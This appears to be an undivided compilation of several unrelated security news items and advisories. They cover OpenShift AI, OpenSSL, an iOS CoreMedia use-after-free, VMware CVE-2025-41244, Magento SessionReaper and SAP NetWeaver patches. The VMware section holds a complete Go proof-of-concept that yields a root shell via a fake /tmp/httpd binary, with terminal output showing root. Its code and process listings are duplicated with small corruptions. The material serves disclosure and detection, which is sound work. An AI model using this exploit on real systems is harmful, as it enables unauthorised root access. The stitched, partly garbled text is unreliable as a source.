theregister.com • The Register
by Jessica Lyons
Wed 1 Oct 2025 // 19:35 UTC
: Who wouldn't want root access on cluster master nodes?
9.9 out of 10 severity bug in Red Hat's OpenShift AI service could allow a remote attacker with minimal authentication to steal data, disrupt services, and fully hijack the platform.
"A low-privileged attacker with access to an authenticated account, for example as a data scientist using a standard Jupyter notebook, can escalate their privileges to a full cluster administrator," the IBM subsidiary warned in a security alert published earlier this week.
"This allows for the complete compromise of the cluster's confidentiality, integrity, and availability," the alert continues. "The attacker can steal sensitive data, disrupt all services, and take control of the underlying infrastructure, leading to a total breach of the platform and all applications hosted on it."
Red Hat deemed the vulnerability, tracked as CVE-2025-10725, "important" despite its 9.9 CVSS score, which garners a critical-severity rating from the National Vulnerability Database - and basically any other organization that issues CVEs. This, the vendor explained, is because the flaw requires some level of authentication, albeit minimal, for an attacker to jeopardize the hybrid cloud environment.
Users can mitigate the flaw by removing the ClusterRoleBinding that links the kueue-batch-user-role ClusterRole with the system:authenticated group. "The permission to create jobs should be granted on a more granular, as-needed basis to specific users or groups, adhering to the principle of least privilege," Red Hat added.
Additionally, the vendor suggests not granting broad permissions to system-level groups.
Red Hat didn't immediately respond to The Register's inquiries, including if the CVE has been exploited. We will update this story as soon as we receive any additional information.
Whose role is it anyway?
OpenShift AI is an open platform for building and managing AI applications across hybrid cloud environments.
As noted earlier, it includes a ClusterRole named "kueue-batch-user-role." The security issue here exists because this role is incorrectly bound to the system:authenticated group.
"This grants any authenticated entity, including low-privileged service accounts for user workbenches, the permission to create OpenShift Jobs in any namespace," according to a Bugzilla flaw-tracking report.
One of these low-privileged accounts could abuse this to schedule a malicious job in a privileged namespace, configure it to run with a high-privilege ServiceAccount, exfiltrate that ServiceAccount token, and then "progressively pivot and compromise more powerful accounts, ultimately achieving root access on cluster master nodes and leading to a full cluster takeover," the report said.
"Vulnerabilities offering a path for a low privileged user to fully take over an environment needs to be patched in the form of an incident response cycle, seeking to prove that the environment was not already compromised," Trey Ford, chief strategy and trust officer at crowdsourced security company Bugcrow said in an email to The Register.
In other words: "Assume breach," Ford added.
"The administrators managing OpenShift AI infrastructure need to patch this with a sense of urgency - this is a delightful vulnerability pattern for attackers looking to acquire both access and data," he said. "Security teams must move with a sense of purpose, both verifying that these environments have been patched, then investigating to confirm whether-and-if their clusters have been compromised."
OpenSSL Security Advisory [30th September 2025]
https://openssl-library.org/news/secadv/20250930.txt
===============================================
Out-of-bounds read & write in RFC 3211 KEK Unwrap (CVE-2025-9230)
=================================================================
Severity: Moderate
Issue summary: An application trying to decrypt CMS messages encrypted using
password based encryption can trigger an out-of-bounds read and write.
Impact summary: This out-of-bounds read may trigger a crash which leads to
Denial of Service for an application. The out-of-bounds write can cause
a memory corruption which can have various consequences including
a Denial of Service or Execution of attacker-supplied code.
Although the consequences of a successful exploit of this vulnerability
could be severe, the probability that the attacker would be able to
perform it is low. Besides, password based (PWRI) encryption support in CMS
messages is very rarely used. For that reason the issue was assessed as
Moderate severity according to our Security Policy.
The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this
issue, as the CMS implementation is outside the OpenSSL FIPS module
boundary.
OpenSSL 3.5, 3.4, 3.3, 3.2, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.4.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.3.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.5.
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.6.
OpenSSL 3.0 users should upgrade to OpenSSL 3.0.18.
OpenSSL 1.1.1 users should upgrade to OpenSSL 1.1.1zd.
(premium support customers only)
OpenSSL 1.0.2 users should upgrade to OpenSSL 1.0.2zm.
(premium support customers only)
This issue was reported on 9th August 2025 by Stanislav Fort (Aisle Research).
The fix was developed by Stanislav Fort (Aisle Research) and Viktor Dukhovni.
Timing side-channel in SM2 algorithm on 64 bit ARM (CVE-2025-9231)
=================================================================
Severity: Moderate
Issue summary: A timing side-channel which could potentially allow remote
recovery of the private key exists in the SM2 algorithm implementation on 64 bit
ARM platforms.
Impact summary: A timing side-channel in SM2 signature computations on 64 bit
ARM platforms could allow recovering the private key by an attacker.
While remote key recovery over a network was not attempted by the reporter,
timing measurements revealed a timing signal which may allow such an attack.
OpenSSL does not directly support certificates with SM2 keys in TLS, and so
this CVE is not relevant in most TLS contexts. However, given that it is
possible to add support for such certificates via a custom provider, coupled
with the fact that in such a custom provider context the private key may be
recoverable via remote timing measurements, we consider this to be a Moderate
severity issue.
The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this
issue, as SM2 is not an approved algorithm.
OpenSSL 3.1, 3.0, 1.1.1 and 1.0.2 are not vulnerable to this issue.
OpenSSL 3.5, 3.4, 3.3, and 3.2 are vulnerable to this issue.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.4.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.3.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.5.
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.6.
This issue was reported on 18th August 2025 by Stanislav Fort (Aisle Research)
The fix was developed by Stanislav Fort.
Out-of-bounds read in HTTP client no_proxy handling (CVE-2025-9232)
===================================================================
Severity: Low
Issue summary: An application using the OpenSSL HTTP client API functions may
trigger an out-of-bounds read if the "no_proxy" environment variable is set and
the host portion of the authority component of the HTTP URL is an IPv6 address.
Impact summary: An out-of-bounds read can trigger a crash which leads to
Denial of Service for an application.
The OpenSSL HTTP client API functions can be used directly by applications
but they are also used by the OCSP client functions and CMP (Certificate
Management Protocol) client implementation in OpenSSL. However the URLs used
by these implementations are unlikely to be controlled by an attacker.
In this vulnerable code the out of bounds read can only trigger a crash.
Furthermore the vulnerability requires an attacker-controlled URL to be
passed from an application to the OpenSSL function and the user has to have
a "no_proxy" environment variable set. For the aforementioned reasons the
issue was assessed as Low severity.
The vulnerable code was introduced in the following patch releases:
3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0.
The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this
issue, as the HTTP client implementation is outside the OpenSSL FIPS module
boundary.
OpenSSL 3.5, 3.4, 3.3, 3.2 and 3.0 are vulnerable to this issue.
OpenSSL 1.1.1 and 1.0.2 are not affected by this issue.
OpenSSL 3.5 users should upgrade to OpenSSL 3.5.4.
OpenSSL 3.4 users should upgrade to OpenSSL 3.4.3.
OpenSSL 3.3 users should upgrade to OpenSSL 3.3.5.
OpenSSL 3.2 users should upgrade to OpenSSL 3.2.6.
OpenSSL 3.0 users should upgrade to OpenSSL 3.0.18.
This issue was reported on 16th August 2025 by Stanislav Fort (Aisle Research).
The fix was developed by Stanislav Fort (Aisle Research).
General Advisory Notes
======================
URL for this Security Advisory:
https://openssl-library.org/news/secadv/20250930.txt
github.com/b1n4r1b01
This vulnerability has been labeled under the title CoreMedia, which is a gigantic sub-system on Apple platforms. CoreMedia includes multiple public and private frameworks in the shared cache including CoreMedia.framework, AVFoundation.framework, MediaToolbox.framework, etc. All of these work hand in hand and provide users with multiple low level IPC endpoints and high level APIs. There are tons of vulnerabilities labeled as CoreMedia listed on Apple's security advisory website and these vulnerabilities range from sensitive file access to metadata corruption in media files. In fact, iOS 18.3, where this bug was patched lists 3 CVEs under the CoreMedia label but only this one is labeled as an UAF issue so we can use that as a starting point for our research.
After a lot of diffing, I found that this specific vulnerability lies in the Remaker sub-system of MediaToolbox.framework. The vulnerability lies in the improper handling of FigRemakerTrack object.
remaker_AddVideoCompositionTrack(FigRemaker, ..., ...)
{
// Allocates FigRemakerTrack (alias channel)
ret = remakerFamily_createChannel(FigRemaker, 0, 'vide', &FigRemakerTrack);
...
// Links FigRemakerTrack to FigRemaker
ret = remakerFamily_finishVideoCompositionChannel(FigRemaker, ..., ...);
if (ret){
// Failure path, means FigRemakerTrack is not linked to FigRemaker
goto exit;
}
else{
// Success path, means FigRemakerTrack is linked to FigRemaker
...
ret = URLAsset->URLAssetCopyTrackByID(URLAsset, user_controlled_trackID, &outTrack);
if (ret){
// Failure path, if we can make URLAssetCopyTrackByID fail we never zero out FigRemakerTrack
goto exit; // <-- buggy route
}
else{
// Success path
FigWriter->FigWriter_SetTrackProperty(FigWriter, FigRemakerTrack.someTrackID, "MediaTimeScale", value);
FigRemakerTrack = 0;
goto exit;
}
}
exit:
// This function will call CFRelease on the FigRemakerTrack
remakerFamily_discardChannel(FigRemaker, FigRemakerTrack);
...}
By providing an OOB user_controlled_trackID we can force the control flow to take the buggy route where we free the FigRemakerTrack object while FigRemaker still holds a reference to it.
Reaching the vulnerable code
Reaching this vulnerable code was quite tricky, as you need to deal with multiple XPC endpoints. In my original POC I had to use 6 XPC endpoints which were com.apple.coremedia.mediaplaybackd.mutablecomposition.xpc, com.apple.coremedia.mediaplaybackd.sandboxserver.xpc, com.apple.coremedia.mediaplaybackd.customurlloader.xpc, com.apple.coremedia.mediaplaybackd.asset, com.apple.coremedia.mediaplaybackd.remaker.xpc, com.apple.coremedia.mediaplaybackd.formatreader.xpc to trigger the bug but in my final poc I boiled them down to just 3 endpoints. Since I'm not using low level XPC to communicate with the endpoint, this poc would only work on iOS 18 version, my tests were specifically done on iOS 18.2.
To reach this path you need to:
Create a Remaker object
Enqueue the buggy AddVideoComposition request
Start processing the request (this should free the FigRemakerTrack)
???
Profit?
Impact
This bug lets you get code execution in mediaplaybackd. In the provided poc, I am simply double free'ing the FigRemakerTrack by first free'ing it with the bug and then closing the XPC connection to trigger cleanup of the FigRemaker object and thus crashing. Exploiting this kind of CoreFoundation UAF has been made hard since iOS 18 due to changes in the CoreFoundation allocator. But exploiting this bug on iOS 17 should be manageable due to a weaker malloc type implementation, I was very reliably able to place fake objects after the first free on iOS 17.
In-The-Wild angle
If you look at this bug's advisory you can find that Apple clearly says that this bug was a part of some iOS chain: "Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 17.2.". Now the weird part is you don't see the exploited against versions of iOS before iOS XX.X line very often in security updates, if we look around CVEs from those days we see a WebKit -> UIProcess (I guess?) bug CVE-2025-24201 with very similar impact description "This is a supplementary fix for an attack that was blocked in iOS 17.2. (Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 17.2.)" And if we go back to iOS 17.2/17.3 we see couple of CVEs which look like some chain all labeled as actively exploited and not designated to any 3rd party like Google TAG or any human rights security lab. Now I believe this mediaplaybackd sandbox escape was a 2nd stage sandbox escape in an iOS ITW chain. Here's what my speculated iOS 17 chain looks like (could be totally wrong but we'll probably never know):
WebKit (CVE-2024-23222)
↓
UIProc sbx (CVE-2025-24201)
↓
mediaplaybackd sbx (CVE-2025-24085)
↓
Kernel ???
↓
PAC?/PPL (CVE-2024-23225 / CVE-2024-23296)
Question is: how many pivots are too many pivots? :P
blog.nviso.eu Maxime Thiebaut Incident Response & Threat Researcher Expert within NVISO CSIRT 29.09.2025
NVISO has identified zero-day exploitation of CVE-2025-41244, a local privilege escalation vulnerability impacting VMware's guest service discovery features.
On September 29th, 2025, Broadcom disclosed a local privilege escalation vulnerability, CVE-2025-41244, impacting VMware’s guest service discovery features. NVISO has identified zero-day exploitation in the wild beginning mid-October 2024.
The vulnerability impacts both the VMware Tools and VMware Aria Operations. When successful, exploitation of the local privilege escalation results in unprivileged users achieving code execution in privileged contexts (e.g., root).
Throughout its incident response engagements, NVISO determined with confidence that UNC5174 triggered the local privilege escalation. We can however not assess whether this exploit was part of UNC5174’s capabilities or whether the zero-day’s usage was merely accidental due to its trivialness. UNC5174, a Chinese state-sponsored threat actor, has repeatedly been linked to initial access operations achieved through public exploitation.
Background
Organizations relying on the VMware hypervisor commonly employ the VMware Aria Suite to manage their hybrid‑cloud workloads from a single console. Within this VMware Aria Suite, VMware Aria Operations is the component that provides performance insights, automated remediation, and capacity planning for the different hybrid‑cloud workloads. As part of its performance insights, VMware Aria Operations is capable of discovering which services and applications are running in the different virtual machines (VMs), a feature offered through the Service Discovery Management Pack (SDMP).
The discovery of these services and applications can be achieved in either of two modes:
The legacy credential-based service discovery relies on VMware Aria Operations running metrics collector scripts within the guest VM using a privileged user. In this mode, all the collection logic is managed by VMware Aria Operations and the guest’s VMware Tools merely acts as a proxy for the performed operations.
The credential-less service discovery is a more recent approach where the metrics collection has been implemented within the guest’s VMware Tools itself. In this mode, no credentials are needed as the collection is performed under the already privileged VMware Tools context.
As part of its discovery, NVISO was able to confirm the privilege escalation affects both modes, with the logic flaw hence being respectively located within VMware Aria Operations (in credential-based mode) and the VMware Tools (in credential-less mode). While VMware Aria Operations is proprietary, the VMware Tools are available as an open-source variant known as VMware’s open-vm-tools, distributed on most major Linux distributions. The following CVE-2025-41244 analysis is performed on this open-source component.
Analysis
Within open-vm-tools’ service discovery feature, the component handling the identification of a service’s version is achieved through the get-versions.sh shell script. As part of its logic, the get-versions.sh shell script has a generic get_version function. The function takes as argument a regular expression pattern, used to match supported service binaries (e.g., /usr/bin/apache), and a version command (e.g., -v), used to indicate how a matching binary should be invoked to retrieve its version.
When invoked, get_version loops $space_separated_pids, a list of all processes with a listening socket. For each process, it checks whether service binary (e.g., /usr/bin/apache) matches the regular expression and, if so, invokes the supported service’s version command (e.g., /usr/bin/apache -v).
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
The get_version function is called using several supported patterns and associated version commands. While this functionality works as expected for system binaries (e.g., /usr/bin/httpd), the usage of the broad‑matching \S character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd). These non-system binaries are located within directories (e.g., /tmp) which are writable to unprivileged users by design.
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
By matching and subsequently executing non-system binaries (CWE-426: Untrusted Search Path), the service discovery feature can be abused by unprivileged users through the staging of malicious binaries (e.g., /tmp/httpd) which are subsequently elevated for version discovery. As simple as it sounds, you name it, VMware elevates it.
Proof of Concept
To abuse this vulnerability, an unprivileged local attacker can stage a malicious binary within any of the broadly-matched regular expression paths. A simple common location, abused in the wild by UNC5174, is /tmp/httpd. To ensure the malicious binary is picked up by the VMware service discovery, the binary must be run by the unprivileged user (i.e., show up in the process tree) and open at least a (random) listening socket.
The following bare-bone CVE-2025-41244.go proof-of-concept can be used to demonstrate the privilege escalation.
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
_, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
_, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()}
Once compiled to a matching path (e.g., go build -o /tmp/httpd CVE-2025-41244.go) and executed, the above proof of concept will spawn an elevated root shell as soon as the VMware metrics collection is executed. This process, at least in credential-less mode, has historically been documented to run every 5 minutes.
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
Credential-based Service Discovery
When service discovery operates in the legacy credential-based mode, VMware Aria Operations will eventually trigger the privilege escalation once it runs the metrics collector scripts. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged context of the configured credentials. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the entries until line 4 are legitimate and the entries as of line 5 part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script_-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 _ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 \ ps -ef --forest
Credential-less Service Discovery
When service discovery operates in the modern credential-less mode, the VMware Tools will eventually trigger the privilege escalation once it runs the collector plugin. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged VMware Tools user context. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the first entry is legitimate and all subsequent entries (line 3 and beyond) part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
Detection
Successful exploitation of CVE-2025-41244 can easily be detected through the monitoring of uncommon child processes as demonstrated in the above process trees. Being a local privilege escalation, abuse of CVE-2025-41244 is indicative that an adversary has already gained access to the affected device and that several other detection mechanisms should have triggered.
Under certain circumstances, exploitation may forensically be confirmed in legacy credential-based mode through the analysis of lingering metrics collector scripts and outputs under the /tmp/VMware-SDMP-Scripts-{UUID}/ folders. While less than ideal, this approach may serve as a last resort in environments without process monitoring on compromised machines. The following redacted metrics collector script was recovered from the /tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.sh location and mentions the matched non-system service binary on its last line.
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
Conclusions
While NVISO identified these vulnerabilities through its UNC5174 incident response engagements, the vulnerabilities’ trivialness and adversary practice of mimicking system binaries (T1036.005) do not allow us to determine with confidence whether UNC5174 willfully achieved exploitation.
The broad practice of mimicking system binaries (e.g., httpd) highlight the real possibility that several other malware strains have accidentally been benefiting from unintended privilege escalations for years. Furthermore, the ease with which these vulnerabilities could be identified in the open-vm-tools source code make it unlikely that knowledge of the privilege escalations did not predate NVISO’s in-the-wild identification.
Timeline
2025-05-19: Forensic artifact anomaly noted during UNC5174 incident response engagement.
2025-05-21: Forensic artifact anomaly attributed to unknown zero-day vulnerability.
2025-05-25: Zero day vulnerability identified and reproduced in a lab environment.
2025-05-27: Responsible disclosure authorized and initiated through Broadcom.
2025-05-28: Responsible disclosure triaged, investigation started by Broadcom.
2025-06-18: Embargo extended by Broadcom until no later than October to align release cycles.
2025-09-29: Embargo lifted, CVE-2025-41244 patches and advisory published.
by Sansec Forensics Team - sansec.io
Published in Threat Research − September 08, 2025
Adobe released an out-of-band emergency patch for SessionReaper (CVE-2025-54236). The bug may hand control of a store to unauthenticated attackers. Automated abuse is expected and merchants should act immediately.
Article updated: Sep 9th, 2025 13:48 UTC
Adobe broke their regular release schedule to publish a fix for a critical (9.1) flaw in all versions of Adobe Commerce and Magento. The bug, dubbed SessionReaper and assigned CVE-2025-54236, allows customer account takeover and unauthenticated remote code execution under certain conditions. Sansec was able to simulate the attack and so may less benign parties. It does not help that the Adobe patch was accidentally leaked last week, so bad actors may already be working on the exploit code.
Adobe's official advisory describes the impact as "an attacker could take over customer accounts," which does not mention the risk of remote code execution. The vulnerability researcher who discovered CVE-2025-54236 confirmed this on Slack:
"Blaklis
BTW, this is a potential preauth RCE, whatever the bulletin is saying.
Please patch ASAP"
SessionReaper is one of the more severe Magento vulnerabilities in its history, comparable to Shoplift (2015), Ambionics SQLi (2019), TrojanOrder (2022) and CosmicSting (2024). Each time, thousands of stores got hacked, sometimes within hours of the flaw being published.
Timeline
Aug 22nd: Adobe internally discusses emergency fix
Sep 4th: Adobe privately announces emergency fix to selected Commerce customers
Sep 9th: Adobe releases emergency patch for SessionReaper - CVE-2025-54236 in APSB25-88What merchants should do
If you are already using Sansec Shield, you are protected against this attack.
If you are not using Sansec Shield, you should test and deploy the patch as soon as possible. Because the patch disables internal Magento functionality, chances are that some of your custom/external code will break. Adobe published a developer guide with instructions.
If you cannot safely apply the patch within the next 24 hours, you should activate a WAF for immediate protection. Only two WAFs block this attack right now: Adobe Fastly and Sansec Shield.
If you did deploy the patch but not within 24 hours of publication, we recommend to run a malware scanner like eComscan to find any signs of compromise on your system. We also recommend to rotate your secret crypt key, as leaking it would allow attackers to update your CMS blocks indefinitely.
How the attack works
Our security team successfully reproduced one possible avenue to exploit SessionReaper, but there are likely multiple vectors. While we cannot disclose technical details that could aid attackers, the vulnerability follows a familiar pattern from last year's CosmicSting attack. The attack combines a malicious session with a nested deserialization bug in Magento's REST API.
The specific remote code execution vector appears to require file-based session storage. However, we recommend merchants using Redis or database sessions to take immediate action as well, as there are multiple ways to abuse this vulnerability.
Active exploitation
Sansec tracks ecommerce attacks in real-time around the globe. We have not seen any active abuse yet but will update this section when we do.
Follow live ecommerce attacks here.Acknowledgements
Credits to Blaklis for discovering the flaw.
Thanks to Scott Robinson, Pieter Hoste and Tu Van for additional research.
Sansec is not affiliated with Adobe and runs unbiased security research across the eCommerce ecosystem. Sansec protects 10% of all Magento stores worldwide.
SAP has addressed 21 new vulnerabilities affecting its products, including three critical severity issues impacting the NetWeaver software solution.
SAP NetWeaver is the foundation for SAP's business apps like ERP, CRM, SRM, and SCM, and acts as a modular middleware that is broadly deployed in large enterprise networks.
In its security bulletin for September, the provider of enterprise resource planning (ERP) software lists a vulnerability with a maximum severity score of 10 out of 10 that is identified as CVE-2025-42944.
The security issue is an insecure deserialization vulnerability in SAP NetWeaver (RMIP4), ServerCore 7.50.
An unauthenticated attacker could exploit it to achieve arbitrary OS command execution by sending to an open port a malicious Java object through the RMI-P4 module.
RMI-P4 is the Remote Method Invocation protocol used by SAP NetWeaver AS Java for internal SAP-to-SAP communication, or for administration.
Though the P4 port is open on the host, some organizations may inadvertently expose it to wider networks, or the internet, due to firewall or other misconfigurations.
According to the security bulletin, the second critical flaw SAP fixed this month is CVE-2025-42922 (CVSS v3.1 score: 9.9), an insecure file operations bug impacting NetWeaver AS Java (Deploy Web Service), J2EE-APPS 7.50.
An attacker with non-administrative authenticated access can exploit a flaw in the web service deployment functionality to upload arbitrary files, potentially allowing full system compromise.
The third flaw is a missing authentication check in NetWeaver, tracked under CVE-2025-42958 (CVSS v3.1 score: 9.1).
This vulnerability allows unauthorized high-privileged users to read, modify, or delete sensitive data and access administrative functionality.
SAP also addressed the following new high-severity flaws:
CVE-2025-42933 (SAP Business One SLD): Insecure storage of sensitive data (e.g., credentials) that could be extracted and abused.
CVE-2025-42929 (SLT Replication Server): Missing input validation allowing malicious input to corrupt or manipulate replicated data.
CVE-2025-42916 (S/4HANA): Missing input validation in core components, risking unauthorized data manipulation.
SAP products, deployed by large organizations and often handling mission-critical data, are often targeted by threat actors seeking high-value compromises.
